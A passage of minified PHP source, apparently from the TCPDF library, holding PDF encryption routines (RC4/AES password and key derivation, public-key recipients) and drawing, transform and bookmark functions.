".'endobj';$this->_out($out);} function _Uvalue(){if($this->encryptdata['mode']==0){return TCPDF_STATIC::_RC4($this->encryptdata['key'],TCPDF_STATIC::$enc_padding,$this->last_enc_key,$this->last_enc_key_c);}elseif($this->encryptdata['mode']<3){$tmp=TCPDF_STATIC::_md5_16(TCPDF_STATIC::$enc_padding.$this->encryptdata['fileid']);$enc=TCPDF_STATIC::_RC4($this->encryptdata['key'],$tmp,$this->last_enc_key,$this->last_enc_key_c);$len=strlen($tmp);for($i=1;$i<=19;++$i){$ek='';for($j=0;$j<$len;++$j){$ek.=chr(ord($this->encryptdata['key'][$j])^$i);}$enc=TCPDF_STATIC::_RC4($ek,$enc,$this->last_enc_key,$this->last_enc_key_c);}$enc.=str_repeat("",16);return substr($enc,0,32);}elseif($this->encryptdata['mode']==3){$seed=TCPDF_STATIC::_md5_16(TCPDF_STATIC::getRandomSeed());$this->encryptdata['UVS']=substr($seed,0,8);$this->encryptdata['UKS']=substr($seed,8,16);return hash('sha256',$this->encryptdata['user_password'].$this->encryptdata['UVS'],true).$this->encryptdata['UVS'].$this->encryptdata['UKS'];}} function _UEvalue(){$hashkey=hash('sha256',$this->encryptdata['user_password'].$this->encryptdata['UKS'],true);$iv=str_repeat("",mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128,MCRYPT_MODE_CBC));return mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$hashkey,$this->encryptdata['key'],MCRYPT_MODE_CBC,$iv);} function _Ovalue(){if($this->encryptdata['mode']<3){$tmp=TCPDF_STATIC::_md5_16($this->encryptdata['owner_password']);if($this->encryptdata['mode']>0){for($i=0;$i<50;++$i){$tmp=TCPDF_STATIC::_md5_16($tmp);}}$owner_key=substr($tmp,0,($this->encryptdata['Length']/8));$enc=TCPDF_STATIC::_RC4($owner_key,$this->encryptdata['user_password'],$this->last_enc_key,$this->last_enc_key_c);if($this->encryptdata['mode']>0){$len=strlen($owner_key);for($i=1;$i<=19;++$i){$ek='';for($j=0;$j<$len;++$j){$ek.=chr(ord($owner_key[$j])^$i);}$enc=TCPDF_STATIC::_RC4($ek,$enc,$this->last_enc_key,$this->last_enc_key_c);}}return $enc;}elseif($this->encryptdata['mode']==3){$seed=TCPDF_STATIC::_md5_16(TCPDF_STATIC::getRandomSeed());$this->encryptdata['OVS']=substr($seed,0,8);$this->encryptdata['OKS']=substr($seed,8,16);return hash('sha256',$this->encryptdata['owner_password'].$this->encryptdata['OVS'].$this->encryptdata['U'],true).$this->encryptdata['OVS'].$this->encryptdata['OKS'];}} function _OEvalue(){$hashkey=hash('sha256',$this->encryptdata['owner_password'].$this->encryptdata['OKS'].$this->encryptdata['U'],true);$iv=str_repeat("",mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128,MCRYPT_MODE_CBC));return mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$hashkey,$this->encryptdata['key'],MCRYPT_MODE_CBC,$iv);} function _fixAES256Password($password){$psw='';$psw_array=TCPDF_FONTS::utf8Bidi(TCPDF_FONTS::UTF8StringToArray($password,$this->isunicode,$this->CurrentFont),$password,$this->rtl,$this->isunicode,$this->CurrentFont);foreach($psw_array as $c){$psw.=TCPDF_FONTS::unichr($c,$this->isunicode);}return substr($psw,0,127);} function _generateencryptionkey(){$keybytelen=($this->encryptdata['Length']/8);if(!$this->encryptdata['pubkey']){if($this->encryptdata['mode']==3){$this->encryptdata['key']=substr(hash('sha256',TCPDF_STATIC::getRandomSeed(),true),0,$keybytelen);$this->encryptdata['user_password']=$this->_fixAES256Password($this->encryptdata['user_password']);$this->encryptdata['owner_password']=$this->_fixAES256Password($this->encryptdata['owner_password']);$this->encryptdata['U']=$this->_Uvalue();$this->encryptdata['UE']=$this->_UEvalue();$this->encryptdata['O']=$this->_Ovalue();$this->encryptdata['OE']=$this->_OEvalue();$this->encryptdata['P']=$this->encryptdata['protection'];$perms=TCPDF_STATIC::getEncPermissionsString($this->encryptdata['protection']);$perms.=chr(255).chr(255).chr(255).chr(255);if(isset($this->encryptdata['CF']['EncryptMetadata']) AND (!$this->encryptdata['CF']['EncryptMetadata'])){$perms.='F';}else {$perms.='T';}$perms.='adb';$perms.='nick';$iv=str_repeat("",mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128,MCRYPT_MODE_ECB));$this->encryptdata['perms']=mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$this->encryptdata['key'],$perms,MCRYPT_MODE_ECB,$iv);}else {$this->encryptdata['user_password']=substr($this->encryptdata['user_password'].TCPDF_STATIC::$enc_padding,0,32);$this->encryptdata['owner_password']=substr($this->encryptdata['owner_password'].TCPDF_STATIC::$enc_padding,0,32);$this->encryptdata['O']=$this->_Ovalue();$permissions=TCPDF_STATIC::getEncPermissionsString($this->encryptdata['protection']);$tmp=TCPDF_STATIC::_md5_16($this->encryptdata['user_password'].$this->encryptdata['O'].$permissions.$this->encryptdata['fileid']);if($this->encryptdata['mode']>0){for($i=0;$i<50;++$i){$tmp=TCPDF_STATIC::_md5_16(substr($tmp,0,$keybytelen));}}$this->encryptdata['key']=substr($tmp,0,$keybytelen);$this->encryptdata['U']=$this->_Uvalue();$this->encryptdata['P']=$this->encryptdata['protection'];}}else {$seed=sha1(TCPDF_STATIC::getRandomSeed(),true);$recipient_bytes='';foreach($this->encryptdata['pubkeys'] as $pubkey){if(isset($pubkey['p'])){$pkprotection=TCPDF_STATIC::getUserPermissionCode($pubkey['p'],$this->encryptdata['mode']);}else {$pkprotection=$this->encryptdata['protection'];}$pkpermissions=TCPDF_STATIC::getEncPermissionsString($pkprotection);$envelope=$seed.$pkpermissions;$tempkeyfile=TCPDF_STATIC::getObjFilename('key',$this->file_id);$f=TCPDF_STATIC::fopenLocal($tempkeyfile,'wb');if(!$f){$this->Error('Unable to create temporary key file: '.$tempkeyfile);}$envelope_length=strlen($envelope);fwrite($f,$envelope,$envelope_length);fclose($f);$tempencfile=TCPDF_STATIC::getObjFilename('enc',$this->file_id);if(!openssl_pkcs7_encrypt($tempkeyfile,$tempencfile,$pubkey['c'],array(),PKCS7_BINARY|PKCS7_DETACHED)){$this->Error('Unable to encrypt the file: '.$tempkeyfile);}$signature=file_get_contents($tempencfile,false,null,$envelope_length);$signature=substr($signature,strpos($signature,'Content-Disposition'));$tmparr=explode("

",$signature);$signature=trim($tmparr[1]);unset($tmparr);$signature=base64_decode($signature);$hexsignature=current(unpack('H*',$signature));$this->encryptdata['Recipients'][]=$hexsignature;$recipient_bytes.=$signature;}if($this->encryptdata['mode']==3){$this->encryptdata['key']=substr(hash('sha256',$seed.$recipient_bytes,true),0,$keybytelen);}else {$this->encryptdata['key']=substr(sha1($seed.$recipient_bytes,true),0,$keybytelen);}}} function SetProtection($permissions=array('print','modify','copy','annot-forms','fill-forms','extract','assemble','print-high'),$user_pass='',$owner_pass=null,$mode=0,$pubkeys=null){if($this->pdfa_mode){return;}$this->encryptdata['protection']=TCPDF_STATIC::getUserPermissionCode($permissions,$mode);if(($pubkeys!==null) AND (is_array($pubkeys))){$this->encryptdata['pubkeys']=$pubkeys;if($mode==0){$mode=1;}if(!function_exists('openssl_pkcs7_encrypt')){$this->Error('Public-Key Security requires openssl library.');}$this->encryptdata['pubkey']=true;$this->encryptdata['Filter']='Adobe.PubSec';$this->encryptdata['StmF']='DefaultCryptFilter';$this->encryptdata['StrF']='DefaultCryptFilter';}else {$this->encryptdata['pubkey']=false;$this->encryptdata['Filter']='Standard';$this->encryptdata['StmF']='StdCF';$this->encryptdata['StrF']='StdCF';}if($mode>1){if(!extension_loaded('mcrypt')){$this->Error('AES encryption requires mcrypt library (http://www.php.net/manual/en/mcrypt.requirements.php).');}if(mcrypt_get_cipher_name(MCRYPT_RIJNDAEL_128)===false){$this->Error('AES encryption requires MCRYPT_RIJNDAEL_128 cypher.');}if(($mode==3) AND !function_exists('hash')){$this->Error('AES 256 encryption requires HASH Message Digest Framework (http://www.php.net/manual/en/book.hash.php).');}}if($owner_pass===null){$owner_pass=md5(TCPDF_STATIC::getRandomSeed());}$this->encryptdata['user_password']=$user_pass;$this->encryptdata['owner_password']=$owner_pass;$this->encryptdata['mode']=$mode;switch($mode){case 0:{$this->encryptdata['V']=1;$this->encryptdata['Length']=40;$this->encryptdata['CF']['CFM']='V2';break;}case 1:{$this->encryptdata['V']=2;$this->encryptdata['Length']=128;$this->encryptdata['CF']['CFM']='V2';if($this->encryptdata['pubkey']){$this->encryptdata['SubFilter']='adbe.pkcs7.s4';$this->encryptdata['Recipients']=array();}break;}case 2:{$this->encryptdata['V']=4;$this->encryptdata['Length']=128;$this->encryptdata['CF']['CFM']='AESV2';$this->encryptdata['CF']['Length']=128;if($this->encryptdata['pubkey']){$this->encryptdata['SubFilter']='adbe.pkcs7.s5';$this->encryptdata['Recipients']=array();}break;}case 3:{$this->encryptdata['V']=5;$this->encryptdata['Length']=256;$this->encryptdata['CF']['CFM']='AESV3';$this->encryptdata['CF']['Length']=256;if($this->encryptdata['pubkey']){$this->encryptdata['SubFilter']='adbe.pkcs7.s5';$this->encryptdata['Recipients']=array();}break;}}$this->encrypted=true;$this->encryptdata['fileid']=TCPDF_STATIC::convertHexStringToString($this->file_id);$this->_generateencryptionkey();} function StartTransform(){if($this->state!=2){return;}$this->_outSaveGraphicsState();if($this->inxobj){$this->xobjects[$this->xobjid]['transfmrk'][]=strlen($this->xobjects[$this->xobjid]['outdata']);}else {$this->transfmrk[$this->page][]=$this->pagelen[$this->page];}++$this->transfmatrix_key;$this->transfmatrix[$this->transfmatrix_key]=array();} function StopTransform(){if($this->state!=2){return;}$this->_outRestoreGraphicsState();if(isset($this->transfmatrix[$this->transfmatrix_key])){array_pop($this->transfmatrix[$this->transfmatrix_key]);--$this->transfmatrix_key;}if($this->inxobj){array_pop($this->xobjects[$this->xobjid]['transfmrk']);}else {array_pop($this->transfmrk[$this->page]);}} function ScaleX($s_x,$x='',$y=''){$this->Scale($s_x,100,$x,$y);} function ScaleY($s_y,$x='',$y=''){$this->Scale(100,$s_y,$x,$y);} function ScaleXY($s,$x='',$y=''){$this->Scale($s,$s,$x,$y);} function Scale($s_x,$s_y,$x='',$y=''){if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}if(($s_x==0) OR ($s_y==0)){$this->Error('Please do not use values equal to zero for scaling');}$y=($this->h-$y)*$this->k;$x*=$this->k;$s_x/=100;$s_y/=100;$tm=array();$tm[0]=$s_x;$tm[1]=0;$tm[2]=0;$tm[3]=$s_y;$tm[4]=$x*(1-$s_x);$tm[5]=$y*(1-$s_y);$this->Transform($tm);} function MirrorH($x=''){$this->Scale(-100,100,$x);} function MirrorV($y=''){$this->Scale(100,-100,'',$y);} function MirrorP($x='',$y=''){$this->Scale(-100,-100,$x,$y);} function MirrorL($angle=0,$x='',$y=''){$this->Scale(-100,100,$x,$y);$this->Rotate(-2*($angle-90),$x,$y);} function TranslateX($t_x){$this->Translate($t_x,0);} function TranslateY($t_y){$this->Translate(0,$t_y);} function Translate($t_x,$t_y){$tm=array();$tm[0]=1;$tm[1]=0;$tm[2]=0;$tm[3]=1;$tm[4]=$t_x*$this->k;$tm[5]=-$t_y*$this->k;$this->Transform($tm);} function Rotate($angle,$x='',$y=''){if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}$y=($this->h-$y)*$this->k;$x*=$this->k;$tm=array();$tm[0]=cos(deg2rad($angle));$tm[1]=sin(deg2rad($angle));$tm[2]=-$tm[1];$tm[3]=$tm[0];$tm[4]=$x+($tm[1]*$y)-($tm[0]*$x);$tm[5]=$y-($tm[0]*$y)-($tm[1]*$x);$this->Transform($tm);} function SkewX($angle_x,$x='',$y=''){$this->Skew($angle_x,0,$x,$y);} function SkewY($angle_y,$x='',$y=''){$this->Skew(0,$angle_y,$x,$y);} function Skew($angle_x,$angle_y,$x='',$y=''){if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}if(($angle_x<=-90) OR ($angle_x>=90) OR ($angle_y<=-90) OR ($angle_y>=90)){$this->Error('Please use values between -90 and +90 degrees for Skewing.');}$x*=$this->k;$y=($this->h-$y)*$this->k;$tm=array();$tm[0]=1;$tm[1]=tan(deg2rad($angle_y));$tm[2]=tan(deg2rad($angle_x));$tm[3]=1;$tm[4]=-$tm[2]*$y;$tm[5]=-$tm[1]*$x;$this->Transform($tm);} function Transform($tm){if($this->state!=2){return;}$this->_out(sprintf('%F %F %F %F %F %F cm',$tm[0],$tm[1],$tm[2],$tm[3],$tm[4],$tm[5]));$this->transfmatrix[$this->transfmatrix_key][]=array('a'=>$tm[0],'b'=>$tm[1],'c'=>$tm[2],'d'=>$tm[3],'e'=>$tm[4],'f'=>$tm[5]);if($this->inxobj){if(end($this->xobjects[$this->xobjid]['transfmrk'])!==false){$key=key($this->xobjects[$this->xobjid]['transfmrk']);$this->xobjects[$this->xobjid]['transfmrk'][$key]=strlen($this->xobjects[$this->xobjid]['outdata']);}}elseif(end($this->transfmrk[$this->page])!==false){$key=key($this->transfmrk[$this->page]);$this->transfmrk[$this->page][$key]=$this->pagelen[$this->page];}} function SetLineWidth($width){$this->LineWidth=$width;$this->linestyleWidth=sprintf('%F w',($width*$this->k));if($this->state==2){$this->_out($this->linestyleWidth);}} function GetLineWidth(){return $this->LineWidth;} function SetLineStyle($style,$ret=false){$s='';if(!is_array($style)){return;}if(isset($style['width'])){$this->LineWidth=$style['width'];$this->linestyleWidth=sprintf('%F w',($style['width']*$this->k));$s.=$this->linestyleWidth.' ';}if(isset($style['cap'])){$ca=array('butt'=>0,'round'=>1,'square'=>2);if(isset($ca[$style['cap']])){$this->linestyleCap=$ca[$style['cap']].' J';$s.=$this->linestyleCap.' ';}}if(isset($style['join'])){$ja=array('miter'=>0,'round'=>1,'bevel'=>2);if(isset($ja[$style['join']])){$this->linestyleJoin=$ja[$style['join']].' j';$s.=$this->linestyleJoin.' ';}}if(isset($style['dash'])){$dash_string='';if($style['dash']){if(preg_match('/^.+,/',$style['dash'])>0){$tab=explode(',',$style['dash']);}else {$tab=array($style['dash']);}$dash_string='';foreach($tab as $i=>$v){if($i){$dash_string.=' ';}$dash_string.=sprintf('%F',$v);}}if(!isset($style['phase']) OR !$style['dash']){$style['phase']=0;}$this->linestyleDash=sprintf('[%s] %F d',$dash_string,$style['phase']);$s.=$this->linestyleDash.' ';}if(isset($style['color'])){$s.=$this->SetDrawColorArray($style['color'],true).' ';}if(!$ret AND ($this->state==2)){$this->_out($s);}return $s;} function _outPoint($x,$y){if($this->state==2){$this->_out(sprintf('%F %F m',($x*$this->k),(($this->h-$y)*$this->k)));}} function _outLine($x,$y){if($this->state==2){$this->_out(sprintf('%F %F l',($x*$this->k),(($this->h-$y)*$this->k)));}} function _outRect($x,$y,$w,$h,$op){if($this->state==2){$this->_out(sprintf('%F %F %F %F re %s',($x*$this->k),(($this->h-$y)*$this->k),($w*$this->k),(-$h*$this->k),$op));}} function _outCurve($x1,$y1,$x2,$y2,$x3,$y3){if($this->state==2){$this->_out(sprintf('%F %F %F %F %F %F c',($x1*$this->k),(($this->h-$y1)*$this->k),($x2*$this->k),(($this->h-$y2)*$this->k),($x3*$this->k),(($this->h-$y3)*$this->k)));}} function _outCurveV($x2,$y2,$x3,$y3){if($this->state==2){$this->_out(sprintf('%F %F %F %F v',($x2*$this->k),(($this->h-$y2)*$this->k),($x3*$this->k),(($this->h-$y3)*$this->k)));}} function _outCurveY($x1,$y1,$x3,$y3){if($this->state==2){$this->_out(sprintf('%F %F %F %F y',($x1*$this->k),(($this->h-$y1)*$this->k),($x3*$this->k),(($this->h-$y3)*$this->k)));}} function Line($x1,$y1,$x2,$y2,$style=array()){if($this->state!=2){return;}if(is_array($style)){$this->SetLineStyle($style);}$this->_outPoint($x1,$y1);$this->_outLine($x2,$y2);$this->_out('S');} function Rect($x,$y,$w,$h,$style='',$border_style=array(),$fill_color=array()){if($this->state!=2){return;}if(empty($style)){$style='S';}if(!(strpos($style,'F')===false) AND !empty($fill_color)){$this->SetFillColorArray($fill_color);}if(!empty($border_style)){if(isset($border_style['all']) AND !empty($border_style['all'])){$this->SetLineStyle($border_style['all']);$border_style=array();}else {$opnostroke=array('S'=>'','D'=>'','s'=>'','d'=>'','B'=>'F','FD'=>'F','DF'=>'F','B*'=>'F*','F*D'=>'F*','DF*'=>'F*','b'=>'f','fd'=>'f','df'=>'f','b*'=>'f*','f*d'=>'f*','df*'=>'f*');if(isset($opnostroke[$style])){$style=$opnostroke[$style];}}}if(!empty($style)){$op=TCPDF_STATIC::getPathPaintOperator($style);$this->_outRect($x,$y,$w,$h,$op);}if(!empty($border_style)){$border_style2=array();foreach($border_style as $line=>$value){$length=strlen($line);for($i=0;$i<$length;++$i){$border_style2[$line[$i]]=$value;}}$border_style=$border_style2;if(isset($border_style['L']) AND $border_style['L']){$this->Line($x,$y,$x,$y+$h,$border_style['L']);}if(isset($border_style['T']) AND $border_style['T']){$this->Line($x,$y,$x+$w,$y,$border_style['T']);}if(isset($border_style['R']) AND $border_style['R']){$this->Line($x+$w,$y,$x+$w,$y+$h,$border_style['R']);}if(isset($border_style['B']) AND $border_style['B']){$this->Line($x,$y+$h,$x+$w,$y+$h,$border_style['B']);}}} function Curve($x0,$y0,$x1,$y1,$x2,$y2,$x3,$y3,$style='',$line_style=array(),$fill_color=array()){if($this->state!=2){return;}if(!(false===strpos($style,'F')) AND isset($fill_color)){$this->SetFillColorArray($fill_color);}$op=TCPDF_STATIC::getPathPaintOperator($style);if($line_style){$this->SetLineStyle($line_style);}$this->_outPoint($x0,$y0);$this->_outCurve($x1,$y1,$x2,$y2,$x3,$y3);$this->_out($op);} function Polycurve($x0,$y0,$segments,$style='',$line_style=array(),$fill_color=array()){if($this->state!=2){return;}if(!(false===strpos($style,'F')) AND isset($fill_color)){$this->SetFillColorArray($fill_color);}$op=TCPDF_STATIC::getPathPaintOperator($style);if($op=='f'){$line_style=array();}if($line_style){$this->SetLineStyle($line_style);}$this->_outPoint($x0,$y0);foreach($segments as $segment){list($x1,$y1,$x2,$y2,$x3,$y3)=$segment;$this->_outCurve($x1,$y1,$x2,$y2,$x3,$y3);}$this->_out($op);} function Ellipse($x0,$y0,$rx,$ry='',$angle=0,$astart=0,$afinish=360,$style='',$line_style=array(),$fill_color=array(),$nc=2){if($this->state!=2){return;}if(TCPDF_STATIC::empty_string($ry) OR ($ry==0)){$ry=$rx;}if(!(false===strpos($style,'F')) AND isset($fill_color)){$this->SetFillColorArray($fill_color);}$op=TCPDF_STATIC::getPathPaintOperator($style);if($op=='f'){$line_style=array();}if($line_style){$this->SetLineStyle($line_style);}$this->_outellipticalarc($x0,$y0,$rx,$ry,$angle,$astart,$afinish,false,$nc,true,true,false);$this->_out($op);} function _outellipticalarc($xc,$yc,$rx,$ry,$xang=0,$angs=0,$angf=360,$pie=false,$nc=2,$startpoint=true,$ccw=true,$svg=false){if(($rx<=0) OR ($ry<0)){return;}$k=$this->k;if($nc<2){$nc=2;}$xmin=2147483647;$ymin=2147483647;$xmax=0;$ymax=0;if($pie){$this->_outPoint($xc,$yc);}$xang=deg2rad((float)$xang);$angs=deg2rad((float)$angs);$angf=deg2rad((float)$angf);if($svg){$as=$angs;$af=$angf;}else {$as=atan2((sin($angs)/$ry),(cos($angs)/$rx));$af=atan2((sin($angf)/$ry),(cos($angf)/$rx));}if($as<0){$as+=(2*M_PI);}if($af<0){$af+=(2*M_PI);}if($ccw AND ($as>$af)){$as-=(2*M_PI);}elseif(!$ccw AND ($as<$af)){$af-=(2*M_PI);}$total_angle=($af-$as);if($nc<2){$nc=2;}$nc*=(2*abs($total_angle)/M_PI);$nc=round($nc)+1;$arcang=($total_angle/$nc);$x0=$xc;$y0=($this->h-$yc);$ang=$as;$alpha=sin($arcang)*((sqrt(4+(3*pow(tan(($arcang)/2),2)))-1)/3);$cos_xang=cos($xang);$sin_xang=sin($xang);$cos_ang=cos($ang);$sin_ang=sin($ang);$px1=$x0+($rx*$cos_xang*$cos_ang)-($ry*$sin_xang*$sin_ang);$py1=$y0+($rx*$sin_xang*$cos_ang)+($ry*$cos_xang*$sin_ang);$qx1=($alpha*((-$rx*$cos_xang*$sin_ang)-($ry*$sin_xang*$cos_ang)));$qy1=($alpha*((-$rx*$sin_xang*$sin_ang)+($ry*$cos_xang*$cos_ang)));if($pie){$this->_outLine($px1,$this->h-$py1);}elseif($startpoint){$this->_outPoint($px1,$this->h-$py1);}for($i=1;$i<=$nc;++$i){$ang=$as+($i*$arcang);if($i==$nc){$ang=$af;}$cos_ang=cos($ang);$sin_ang=sin($ang);$px2=$x0+($rx*$cos_xang*$cos_ang)-($ry*$sin_xang*$sin_ang);$py2=$y0+($rx*$sin_xang*$cos_ang)+($ry*$cos_xang*$sin_ang);$qx2=($alpha*((-$rx*$cos_xang*$sin_ang)-($ry*$sin_xang*$cos_ang)));$qy2=($alpha*((-$rx*$sin_xang*$sin_ang)+($ry*$cos_xang*$cos_ang)));$cx1=($px1+$qx1);$cy1=($this->h-($py1+$qy1));$cx2=($px2-$qx2);$cy2=($this->h-($py2-$qy2));$cx3=$px2;$cy3=($this->h-$py2);$this->_outCurve($cx1,$cy1,$cx2,$cy2,$cx3,$cy3);$xmin=min($xmin,$cx1,$cx2,$cx3);$ymin=min($ymin,$cy1,$cy2,$cy3);$xmax=max($xmax,$cx1,$cx2,$cx3);$ymax=max($ymax,$cy1,$cy2,$cy3);$px1=$px2;$py1=$py2;$qx1=$qx2;$qy1=$qy2;}if($pie){$this->_outLine($xc,$yc);$xmin=min($xmin,$xc);$ymin=min($ymin,$yc);$xmax=max($xmax,$xc);$ymax=max($ymax,$yc);}return array($xmin,$ymin,$xmax,$ymax);} function Circle($x0,$y0,$r,$angstr=0,$angend=360,$style='',$line_style=array(),$fill_color=array(),$nc=2){$this->Ellipse($x0,$y0,$r,$r,0,$angstr,$angend,$style,$line_style,$fill_color,$nc);} function PolyLine($p,$style='',$line_style=array(),$fill_color=array()){$this->Polygon($p,$style,$line_style,$fill_color,false);} function Polygon($p,$style='',$line_style=array(),$fill_color=array(),$closed=true){if($this->state!=2){return;}$nc=count($p);$np=$nc/2;if($closed){for($i=0;$i<4;++$i){$p[$nc+$i]=$p[$i];}if(isset($line_style[0])){$line_style[$np]=$line_style[0];}$nc+=4;}if(!(false===strpos($style,'F')) AND isset($fill_color)){$this->SetFillColorArray($fill_color);}$op=TCPDF_STATIC::getPathPaintOperator($style);if($op=='f'){$line_style=array();}$draw=true;if($line_style){if(isset($line_style['all'])){$this->SetLineStyle($line_style['all']);}else {$draw=false;if($op=='B'){$op='f';$this->_outPoint($p[0],$p[1]);for($i=2;$i<$nc;$i=$i+2){$this->_outLine($p[$i],$p[$i+1]);}$this->_out($op);}$this->_outPoint($p[0],$p[1]);for($i=2;$i<$nc;$i=$i+2){$line_num=($i/2)-1;if(isset($line_style[$line_num])){if($line_style[$line_num]!=0){if(is_array($line_style[$line_num])){$this->_out('S');$this->SetLineStyle($line_style[$line_num]);$this->_outPoint($p[$i-2],$p[$i-1]);$this->_outLine($p[$i],$p[$i+1]);$this->_out('S');$this->_outPoint($p[$i],$p[$i+1]);}else {$this->_outLine($p[$i],$p[$i+1]);}}}else {$this->_outLine($p[$i],$p[$i+1]);}}$this->_out($op);}}if($draw){$this->_outPoint($p[0],$p[1]);for($i=2;$i<$nc;$i=$i+2){$this->_outLine($p[$i],$p[$i+1]);}$this->_out($op);}} function RegularPolygon($x0,$y0,$r,$ns,$angle=0,$draw_circle=false,$style='',$line_style=array(),$fill_color=array(),$circle_style='',$circle_outLine_style=array(),$circle_fill_color=array()){if(3>$ns){$ns=3;}if($draw_circle){$this->Circle($x0,$y0,$r,0,360,$circle_style,$circle_outLine_style,$circle_fill_color);}$p=array();for($i=0;$i<$ns;++$i){$a=$angle+($i*360/$ns);$a_rad=deg2rad((float)$a);$p[]=$x0+($r*sin($a_rad));$p[]=$y0+($r*cos($a_rad));}$this->Polygon($p,$style,$line_style,$fill_color);} function StarPolygon($x0,$y0,$r,$nv,$ng,$angle=0,$draw_circle=false,$style='',$line_style=array(),$fill_color=array(),$circle_style='',$circle_outLine_style=array(),$circle_fill_color=array()){if($nv<2){$nv=2;}if($draw_circle){$this->Circle($x0,$y0,$r,0,360,$circle_style,$circle_outLine_style,$circle_fill_color);}$p2=array();$visited=array();for($i=0;$i<$nv;++$i){$a=$angle+($i*360/$nv);$a_rad=deg2rad((float)$a);$p2[]=$x0+($r*sin($a_rad));$p2[]=$y0+($r*cos($a_rad));$visited[]=false;}$p=array();$i=0;do{$p[]=$p2[$i*2];$p[]=$p2[($i*2)+1];$visited[$i]=true;$i+=$ng;$i%=$nv;}while(!$visited[$i]);$this->Polygon($p,$style,$line_style,$fill_color);} function RoundedRect($x,$y,$w,$h,$r,$round_corner='1111',$style='',$border_style=array(),$fill_color=array()){$this->RoundedRectXY($x,$y,$w,$h,$r,$r,$round_corner,$style,$border_style,$fill_color);} function RoundedRectXY($x,$y,$w,$h,$rx,$ry,$round_corner='1111',$style='',$border_style=array(),$fill_color=array()){if($this->state!=2){return;}if(($round_corner=='0000') OR (($rx==$ry) AND ($rx==0))){$this->Rect($x,$y,$w,$h,$style,$border_style,$fill_color);return;}if(!(false===strpos($style,'F')) AND isset($fill_color)){$this->SetFillColorArray($fill_color);}$op=TCPDF_STATIC::getPathPaintOperator($style);if($op=='f'){$border_style=array();}if($border_style){$this->SetLineStyle($border_style);}$MyArc=4/3*(sqrt(2)-1);$this->_outPoint($x+$rx,$y);$xc=$x+$w-$rx;$yc=$y+$ry;$this->_outLine($xc,$y);if($round_corner[0]){$this->_outCurve($xc+($rx*$MyArc),$yc-$ry,$xc+$rx,$yc-($ry*$MyArc),$xc+$rx,$yc);}else {$this->_outLine($x+$w,$y);}$xc=$x+$w-$rx;$yc=$y+$h-$ry;$this->_outLine($x+$w,$yc);if($round_corner[1]){$this->_outCurve($xc+$rx,$yc+($ry*$MyArc),$xc+($rx*$MyArc),$yc+$ry,$xc,$yc+$ry);}else {$this->_outLine($x+$w,$y+$h);}$xc=$x+$rx;$yc=$y+$h-$ry;$this->_outLine($xc,$y+$h);if($round_corner[2]){$this->_outCurve($xc-($rx*$MyArc),$yc+$ry,$xc-$rx,$yc+($ry*$MyArc),$xc-$rx,$yc);}else {$this->_outLine($x,$y+$h);}$xc=$x+$rx;$yc=$y+$ry;$this->_outLine($x,$yc);if($round_corner[3]){$this->_outCurve($xc-$rx,$yc-($ry*$MyArc),$xc-($rx*$MyArc),$yc-$ry,$xc,$yc-$ry);}else {$this->_outLine($x,$y);$this->_outLine($x+$rx,$y);}$this->_out($op);} function Arrow($x0,$y0,$x1,$y1,$head_style=0,$arm_size=5,$arm_angle=15){$dir_angle=atan2(($y0-$y1),($x0-$x1));if($dir_angle<0){$dir_angle+=(2*M_PI);}$arm_angle=deg2rad($arm_angle);$sx1=$x1;$sy1=$y1;if($head_style>0){$sx1=$x1+(($arm_size-$this->LineWidth)*cos($dir_angle));$sy1=$y1+(($arm_size-$this->LineWidth)*sin($dir_angle));}$this->Line($x0,$y0,$sx1,$sy1);$x2L=$x1+($arm_size*cos($dir_angle+$arm_angle));$y2L=$y1+($arm_size*sin($dir_angle+$arm_angle));$x2R=$x1+($arm_size*cos($dir_angle-$arm_angle));$y2R=$y1+($arm_size*sin($dir_angle-$arm_angle));$mode='D';$style=array();switch($head_style){case 0:{$mode='D';$style=array(1,1,0);break;}case 1:{$mode='D';break;}case 2:{$mode='DF';break;}case 3:{$mode='F';break;}}$this->Polygon(array($x2L,$y2L,$x1,$y1,$x2R,$y2R),$mode,$style,array());} function setDestination($name,$y=-1,$page='',$x=-1){$name=TCPDF_STATIC::encodeNameObject($name);if(TCPDF_STATIC::empty_string($name)){return false;}if($y==-1){$y=$this->GetY();}elseif($y<0){$y=0;}elseif($y>$this->h){$y=$this->h;}if($x==-1){$x=$this->GetX();}elseif($x<0){$x=0;}elseif($x>$this->w){$x=$this->w;}$fixed=false;if(!empty($page) AND ($page[0]=='*')){$page=intval(substr($page,1));$fixed=true;}if(empty($page)){$page=$this->PageNo();if(empty($page)){return;}}$this->dests[$name]=array('x'=>$x,'y'=>$y,'p'=>$page,'f'=>$fixed);return $name;} function getDestination(){return $this->dests;} function _putdests(){if(empty($this->dests)){return;}$this->n_dests=$this->_newobj();$out=' <<';foreach($this->dests as $name=>$o){$out.=' /'.$name.' '.sprintf('[%u 0 R /XYZ %F %F null]',$this->page_obj_id[($o['p'])],($o['x']*$this->k),($this->pagedim[$o['p']]['h']-($o['y']*$this->k)));}$out.=' >>';$out.="
".'endobj';$this->_out($out);} function setBookmark($txt,$level=0,$y=-1,$page='',$style='',$color=array(0,0,0),$x=-1,$link=''){$this->Bookmark($txt,$level,$y,$page,$style,$color,$x,$link);} function Bookmark($txt,$level=0,$y=-1,$page='',$style='',$color=array(0,0,0),$x=-1,$link=''){if($level<0){$level=0;}if(isset($this->outlines[0])){$lastoutline=end($this->outlines);$maxlevel=$lastoutline['l']+1;}else {$maxlevel=0;}if($level>$maxlevel){$level=$maxlevel;}if($y==-1){$y=$this->GetY();}elseif($y<0){$y=0;}elseif($y>$this->h){$y=$this->h;}if($x==-1){$x=$this->GetX();}elseif($x<0){$x=0;}elseif($x>$this->w){$x=$this->w;}$fixed=false;if(!empty($page) AND ($page[0]=='*')){$page=intval(substr($page,1));$fixed=true;}if(empty($page)){$page=$this->PageNo();if(empty($page)){return;}}$this->outlines[]=array('t'=>$txt,'l'=>$level,'x'=>$x,'y'=>$y,'p'=>$page,'f'=>$fixed,'s'=>strtoupper($style),'c'=>$color,'u'=>$link);} function sortBookmarks(){$outline_p=array();$outline_y=array();foreach($this->outlines as 